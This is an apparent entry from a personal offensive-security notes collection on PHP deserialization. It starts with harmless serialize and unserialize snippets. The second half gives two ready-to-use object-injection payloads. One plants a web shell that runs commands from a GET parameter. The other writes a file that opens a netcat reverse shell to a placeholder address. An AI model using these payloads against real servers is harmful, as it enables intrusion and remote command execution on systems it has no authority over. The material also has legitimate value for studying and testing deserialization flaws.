killchain-compendium/Exploits/Web/PHP Deserialize.md

PHP (De-)Serialization

A basic example of (de-)serialization is the following

Serialize is show in the following snippet.

<?php
$plain_text = array("title" => "Hello, World!", "content" => "Lore Ipsum Dolor");
$serialized = serialize($plain_text);
file_put_contents('serialized.txt', $serialized);
?>

Deserialize is done in the following snippet.

<?php
$serialized = file_get_contents('serialized.txt');
$plain_text = unserialize($serialized);
echo "Title: " . $plain_text['title'];
echo "Content: " . $plain_text['content'];
?>

Unserialize

• Not so secure

Serialize a form on a website through PHP via

<?php
class FormSubmit {
    public $form_file = 'messages.php';
    public $message = '<?php
    if(isset($_GET[\'cmd\']))
    {
        system($_GET[\'cmd\']);
    }
?>';
}

print urlencode(serialize(new FormSubmit));
?>

<?php class file 
    { 
        public $file = 'rev.php'; public $data = '<?php shell_exec("nc -e /bin/bash $TARGET_IP 4455"); ?>'; 
    } 
    echo (serialize(new file)); 
?>